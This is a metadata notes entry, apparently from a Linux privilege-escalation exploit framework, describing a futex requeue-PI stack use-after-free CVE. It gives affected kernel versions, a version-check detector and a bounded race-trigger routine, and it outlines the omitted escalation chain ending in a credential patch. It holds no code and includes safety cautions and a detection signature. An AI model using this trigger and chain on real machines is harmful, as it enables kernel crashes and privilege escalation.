notes: "CVE-2026-43499 'GhostLock'; rtmutex/futex requeue-PI remove_waiter() stack UAF (VEGA / Nebula Security, 'IonStack part II'; public PoC in NebuSec/CyberMeowfia, Apache-2.0). Introduced 2.6.39 (PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with NO upstream fix. detect() is a PURE version gate over that five-branch table — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal); on Ubuntu 24.04 stock 6.8.0 (below the fix, not newer than all entries) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch or 7.1 kernel and expect OK; the multi-branch table is exercised by the 9 detect() unit rows in tests/test_detect.c (incl. 6.13.0 → VULNERABLE, the 'newer than some entries but not all' case). exploit() forks an isolated child that (A) deterministically confirms the -EDEADLK remove_waiter() rollback path is reachable (SAFE — without a concurrent priority walk the unwind creates no dangling pointer; validated on real hardware) and (B) exercises the actual race a HARD-BOUNDED 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter tid, then stops. DELIBERATELY UNDER-DRIVEN: does NOT widen the copy_from_user window (no memfd/PUNCH_HOLE), does NOT spray/reoccupy the freed kernel-stack frame, and does NOT bundle the KernelSnitch page leak → forged rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred patch (Android/Pixel-specific, per-build offsets). Trigger RECONSTRUCTED from the public PoC — NOT VM-verified. Lowest --auto safety rank (11). Provisioner caution: run only in a throwaway VM/snapshot — a WON Phase-B race corrupts the kernel STACK and drives a near-arbitrary pointer write (near-certain PANIC on a vulnerable kernel). Detection has a real signature (futex requeue-PI returning EDEADLK + sibling sched_setattr(SCHED_BATCH)); no yara. Sweep + trigger validation pending."